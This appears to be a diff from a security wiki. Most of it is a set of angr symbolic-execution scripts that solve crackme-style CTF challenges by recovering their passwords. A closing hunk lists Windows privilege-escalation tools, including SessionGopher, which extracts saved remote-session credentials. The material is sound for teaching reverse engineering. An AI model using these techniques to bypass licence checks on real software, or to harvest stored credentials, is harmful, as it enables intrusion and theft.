simulation = project.factory.simgr(initial_state)
def is_successful(state):
#Successful print
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Good Job.' in stdout_output
def should_abort(state):
#Avoid this print
stdout_output = state.posix.dumps(sys.stdout.fileno())
return b'Try again.' in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### Registry values
```python
# Angr doesn't currently support reading multiple things with scanf (Ex:
# scanf("%u %u).) You will have to tell the simulation engine to begin the
# program after scanf is called and manually inject the symbols into registers.
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
# Address were you want to indicate the relation BitVector - registries
start_address = 0x80488d1
initial_state = project.factory.blank_state(addr=start_address)
# Create Bit Vectors
password0_size_in_bits = 32 # :integer
password0 = claripy.BVS('password0', password0_size_in_bits)
password1_size_in_bits = 32 # :integer
password1 = claripy.BVS('password1', password1_size_in_bits)
password2_size_in_bits = 32 # :integer
password2 = claripy.BVS('password2', password2_size_in_bits)
# Relate it Vectors with the registriy values you are interested in to reach an address
initial_state.regs.eax = password0
initial_state.regs.ebx = password1
initial_state.regs.edx = password2
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution0 = solution_state.solver.eval(password0)
solution1 = solution_state.solver.eval(password1)
solution2 = solution_state.solver.eval(password2)
# Aggregate and format the solutions you computed above, and then print
# the full string. Pay attention to the order of the integers, and the
# expected base (decimal, octal, hexadecimal, etc).
solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ])) # :string
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### Stack values
```python
# Put bit vectors in th stack to find out the vallue that stack position need to
# have to reach a rogram flow
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
# Go to some address after the scanf where values have already being set in the stack
start_address = 0x8048697
initial_state = project.factory.blank_state(addr=start_address)
# Since we are starting after scanf, we are skipping this stack construction
# step. To make up for this, we need to construct the stack ourselves. Let us
# start by initializing ebp in the exact same way the program does.
initial_state.regs.ebp = initial_state.regs.esp
# In this case scanf("%u %u") is used, so 2 BVS are going to be needed
password0 = claripy.BVS('password0', 32)
password1 = claripy.BVS('password1', 32)
# Now, in the address were you have stopped, check were are the scanf values saved
# Then, substrack form the esp registry the needing padding to get to the
# part of the stack were the scanf values are being saved and push the BVS
# (see the image below to understan this -8)
padding_length_in_bytes = 8 # :integer
initial_state.regs.esp -= padding_length_in_bytes
initial_state.stack_push(password0)
initial_state.stack_push(password1)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution0 = solution_state.solver.eval(password0)
solution1 = solution_state.solver.eval(password1)
solution = ' '.join(map(str, [ solution0, solution1 ]))
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
In this scenario, the input was taken with `scanf("%u %u")` and the value `"1 1"` was given, so the values **`0x00000001`** of the stack come from the **user input**. You can see how this values starts in `$ebp - 8`. Therefore, in the code we have **subtracted 8 bytes to `$esp` \(as in that moment `$ebp` and `$esp` had the same value\)** and then we have pushed the BVS.
![](../../../.gitbook/assets/image%20%28613%29.png)
### Static Memory values \(Global variables\)
```python
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
#Get an address after the scanf. Once the input has already being saved in the memory positions
start_address = 0x8048606
initial_state = project.factory.blank_state(addr=start_address)
# The binary is calling scanf("%8s %8s %8s %8s").
# So we need 4 BVS of size 8*8
password0 = claripy.BVS('password0', 8*8)
password1 = claripy.BVS('password1', 8*8)
password2 = claripy.BVS('password2', 8*8)
password3 = claripy.BVS('password3', 8*8)
# Write the symbolic BVS in the memory positions
password0_address = 0xa29faa0
initial_state.memory.store(password0_address, password0)
password1_address = 0xa29faa8
initial_state.memory.store(password1_address, password1)
password2_address = 0xa29fab0
initial_state.memory.store(password2_address, password2)
password3_address = 0xa29fab8
initial_state.memory.store(password3_address, password3)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
# Get the values the memory addresses should store
solution0 = solution_state.solver.eval(password0,cast_to=bytes).decode()
solution1 = solution_state.solver.eval(password1,cast_to=bytes).decode()
solution2 = solution_state.solver.eval(password2,cast_to=bytes).decode()
solution3 = solution_state.solver.eval(password3,cast_to=bytes).decode()
solution = ' '.join([ solution0, solution1, solution2, solution3 ])
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### Dynamic Memory Values \(Malloc\)
```python
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
# Get address after scanf
start_address = 0x804869e
initial_state = project.factory.blank_state(addr=start_address)
# The binary is calling scanf("%8s %8s") so 2 BVS are needed.
password0 = claripy.BVS('password0', 8*8)
password1 = claripy.BVS('password0', 8*8)
# Find a coupble of addresses that aren't used by the binary (like 0x4444444 & 0x4444454)
# The address generated by mallosc is going to be saved in some address
# Then, make that address point to the fake heap addresses were the BVS are going to be saved
fake_heap_address0 = 0x4444444
pointer_to_malloc_memory_address0 = 0xa79a118
initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness)
fake_heap_address1 = 0x4444454
pointer_to_malloc_memory_address1 = 0xa79a120
initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness)
# Save the VBS in the new fake heap addresses created
initial_state.memory.store(fake_heap_address0, password0)
initial_state.memory.store(fake_heap_address1, password1)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution0 = solution_state.solver.eval(password0,cast_to=bytes).decode()
solution1 = solution_state.solver.eval(password1,cast_to=bytes).decode()
solution = ' '.join([ solution0, solution1 ])
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### File Simulation
```python
#In this challenge a password is read from a file and we want to simulate its content
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
# Get an address just before opening the file with th simbolic content
# Or at least when the file is not going to suffer more changes before being read
start_address = 0x80488db
initial_state = project.factory.blank_state(addr=start_address)
# Specify the filena that is going to open
# Note that in theory, the filename could be symbolic.
filename = 'WCEXPXBW.txt'
symbolic_file_size_bytes = 64
# Create a BV which is going to be the content of the simbolic file
password = claripy.BVS('password', symbolic_file_size_bytes * 8)
# Create the file simulation with the simbolic content
password_file = angr.storage.SimFile(filename, content=password)
# Add the symbolic file we created to the symbolic filesystem.
initial_state.fs.insert(filename, password_file)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.solver.eval(password,cast_to=bytes).decode()
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
{% hint style="info" %}
Note that the symbolic file could also contain constant data merged with symbolic data:
```python
# Hello world, my name is John.
# ^ ^
# ^ address 0 ^ address 24 (count the number of characters)
# In order to represent this in memory, we would want to write the string to
# the beginning of the file:
#
# hello_txt_contents = claripy.BVV('Hello world, my name is John.', 30*8)
#
# Perhaps, then, we would want to replace John with a
# symbolic variable. We would call:
#
# name_bitvector = claripy.BVS('symbolic_name', 4*8)
#
# Then, after the program calls fopen('hello.txt', 'r') and then
# fread(buffer, sizeof(char), 30, hello_txt_file), the buffer would contain
# the string from the file, except four symbolic bytes where the name would be
# stored.
# (!)
```
{% endhint %}
### Applying Constrains
{% hint style="info" %}
Sometimes simple human operations like compare 2 words of length 16 **char by char** \(loop\), **cost** a lot to a **angr** because it needs to generate branches **exponentially** because it generates 1 branch per if: `2^16`
Therefore, it's easier to **ask angr get to a previous point** \(where the real difficult part was already done\) and **set those constrains manually**.
{% endhint %}
```python
# After perform some complex poperations to the input the program checks
# char by char the password against another password saved, like in the snippet:
#
# #define REFERENCE_PASSWORD = "AABBCCDDEEFFGGHH";
# int check_equals_AABBCCDDEEFFGGHH(char* to_check, size_t length) {
# uint32_t num_correct = 0;
# for (int i=0; i<length; ++i) {
# if (to_check[i] == REFERENCE_PASSWORD[i]) {
# num_correct += 1;
# }
# }
# return num_correct == length;
# }
#
# ...
#
# char* input = user_input();
# char* encrypted_input = complex_function(input);
# if (check_equals_AABBCCDDEEFFGGHH(encrypted_input, 16)) {
# puts("Good Job.");
# } else {
# puts("Try again.");
# }
#
# The function checks if *to_check == "AABBCCDDEEFFGGHH". This is very RAM consumming
# as the computer needs to branch every time the if statement in the loop was called (16
# times), resulting in 2^16 = 65,536 branches, which will take too long of a
# time to evaluate for our needs.
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
# Get an address to check after the complex function and before the "easy compare" operation
address_to_check_constraint = 0x8048671
simulation.explore(find=address_to_check_constraint)
if simulation.found:
solution_state = simulation.found[0]
# Find were the input that is going to be compared is saved in memory
constrained_parameter_address = 0x804a050
constrained_parameter_size_bytes = 16
# Set the bitvector
constrained_parameter_bitvector = solution_state.memory.load(
constrained_parameter_address,
constrained_parameter_size_bytes
)
# Indicate angr that this BV at this point needs to be equal to the password
constrained_parameter_desired_value = 'BWYRUBQCMVSBRGFU'.encode()
solution_state.add_constraints(constrained_parameter_bitvector == constrained_parameter_desired_value)
print(solution_state.posix.dumps(sys.stdin.fileno()))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
{% hint style="danger" %}
In some scenarios you can activate **veritesting**, which will merge similar status, in order to save useless branches and find the solution: `simulation = project.factory.simgr(initial_state, veritesting=True)`
{% endhint %}
{% hint style="info" %}
Another thing you can do in these scenarios is to **hook the function giving angr something it can understand** more easily.
{% endhint %}
### Simulation Managers
Some simulation managers can be more useful than others. In the previous example there was a problem as a lot of useful branches were created. Here, the **veritesting** technique will merge those and will find a solution.
This simulation manager can also be activated with: `simulation = project.factory.simgr(initial_state, veritesting=True)`
```python
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
# Set simulation technique
simulation.use_technique(angr.exploration_techniques.Veritesting())
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output # :boolean
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output # :boolean
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### Hooking/Bypassing one call to a function
```python
# This level performs the following computations:
#
# 1. Get 16 bytes of user input and encrypt it.
# 2. Save the result of check_equals_AABBCCDDEEFFGGHH (or similar)
# 3. Get another 16 bytes from the user and encrypt it.
# 4. Check that it's equal to a predefined password.
#
# The ONLY part of this program that we have to worry about is #2. We will be
# replacing the call to check_equals_ with our own version, using a hook, since
# check_equals_ will run too slowly otherwise.
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
# Hook the address of the call to hook indicating th length of the instruction (of the call)
check_equals_called_address = 0x80486b8
instruction_to_skip_length = 5
@project.hook(check_equals_called_address, length=instruction_to_skip_length)
def skip_check_equals_(state):
#Load the input of the function reading direcly the memory
user_input_buffer_address = 0x804a054
user_input_buffer_length = 16
user_input_string = state.memory.load(
user_input_buffer_address,
user_input_buffer_length
)
# Create a simbolic IF that if the loaded string frommemory is the expected
# return True (1) if not returns False (0) in eax
check_against_string = 'XKSPZSJKJYQCQXZV'.encode() # :string
state.regs.eax = claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, 32),
claripy.BVV(0, 32)
)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno()).decode()
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### Hooking a function / Simprocedure
```python
# Hook to the function called check_equals_WQNDNKKWAWOLXBAC
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
# Define a class and a tun method to hook completelly a function
class ReplacementCheckEquals(angr.SimProcedure):
# This C code:
#
# int add_if_positive(int a, int b) {
# if (a >= 0 && b >= 0) return a + b;
# else return 0;
# }
#
# could be simulated with python:
#
# class ReplacementAddIfPositive(angr.SimProcedure):
# def run(self, a, b):
# if a >= 0 and b >=0:
# return a + b
# else:
# return 0
#
# run(...) receives the params of the hooked function
def run(self, to_check, length):
user_input_buffer_address = to_check
user_input_buffer_length = length
# Read the data from the memory address given to the function
user_input_string = self.state.memory.load(
user_input_buffer_address,
user_input_buffer_length
)
check_against_string = 'WQNDNKKWAWOLXBAC'.encode()
# Return 1 if equals to the string, 0 otherways
return claripy.If(
user_input_string == check_against_string,
claripy.BVV(1, 32),
claripy.BVV(0, 32)
)
# Hook the check_equals symbol. Angr automatically looks up the address
# associated with the symbol. Alternatively, you can use 'hook' instead
# of 'hook_symbol' and specify the address of the function. To find the
# correct symbol, disassemble the binary.
# (!)
check_equals_symbol = 'check_equals_WQNDNKKWAWOLXBAC' # :string
project.hook_symbol(check_equals_symbol, ReplacementCheckEquals())
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno()).decode()
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### Simulate scanf with several params
```python
# This time, the solution involves simply replacing scanf with our own version,
# since Angr does not support requesting multiple parameters with scanf.
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure):
# The code uses: 'scanf("%u %u", ...)'
def run(self, format_string, param0, param1):
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 32)
# Get the addresses from the params and store the BVS in memory
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)
# Now, we want to 'set aside' references to our symbolic values in the
# globals plugin included by default with a state. You will need to
# store multiple bitvectors. You can either use a list, tuple, or multiple
# keys to reference the different bitvectors.
self.state.globals['solutions'] = (scanf0, scanf1)
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
# Grab whatever you set aside in the globals dict.
stored_solutions = solution_state.globals['solutions']
solution = ' '.join(map(str, map(solution_state.solver.eval, stored_solutions)))
print(solution)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```
### Static Binaries
```python
# This challenge is the exact same as the first challenge, except that it was
# compiled as a static binary. Normally, Angr automatically replaces standard
# library functions with SimProcedures that work much more quickly.
#
# To solve the challenge, manually hook any standard library c functions that
# are used. Then, ensure that you begin the execution at the beginning of the
# main function. Do not use entry_state.
#
# Here are a few SimProcedures Angr has already written for you. They implement
# standard library functions. You will not need all of them:
# angr.SIM_PROCEDURES['libc']['malloc']
# angr.SIM_PROCEDURES['libc']['fopen']
# angr.SIM_PROCEDURES['libc']['fclose']
# angr.SIM_PROCEDURES['libc']['fwrite']
# angr.SIM_PROCEDURES['libc']['getchar']
# angr.SIM_PROCEDURES['libc']['strncmp']
# angr.SIM_PROCEDURES['libc']['strcmp']
# angr.SIM_PROCEDURES['libc']['scanf']
# angr.SIM_PROCEDURES['libc']['printf']
# angr.SIM_PROCEDURES['libc']['puts']
# angr.SIM_PROCEDURES['libc']['exit']
#
# As a reminder, you can hook functions with something similar to:
# project.hook(malloc_address, angr.SIM_PROCEDURES['libc']['malloc']())
#
# There are many more, see:
# https://github.com/angr/angr/tree/master/angr/procedures/libc
import angr
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
#Find the addresses were the lib functions are loaded in the binary
#For example you could find: call 0x804ed80 <__isoc99_scanf>
project.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Good Job.'.encode() in stdout_output # :boolean
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return 'Try again.'.encode() in stdout_output # :boolean
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()).decode())
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
```

View File

@ -1408,7 +1408,8 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as
#### PS
\*\*\*\*[**PowerSploit-Privesc\(PowerUP\)**](https://github.com/PowerShellMafia/PowerSploit) -- Check for misconfigurations and sensitive files \([check here]()\). Detected.
\*\*\*\*[**PrivescCheck** ](https://github.com/itm4n/PrivescCheck)
****[**PowerSploit-Privesc\(PowerUP\)**](https://github.com/PowerShellMafia/PowerSploit) -- Check for misconfigurations and sensitive files \([check here]()\). Detected.
[**JAWS**](https://github.com/411Hall/JAWS) ****-- Check for some possible misconfigurations and gather info \([check here]()\).
[**privesc** ](https://github.com/enjoiz/Privesc)-- Check for misconfigurations
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) ****-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use **-Thorough** in local.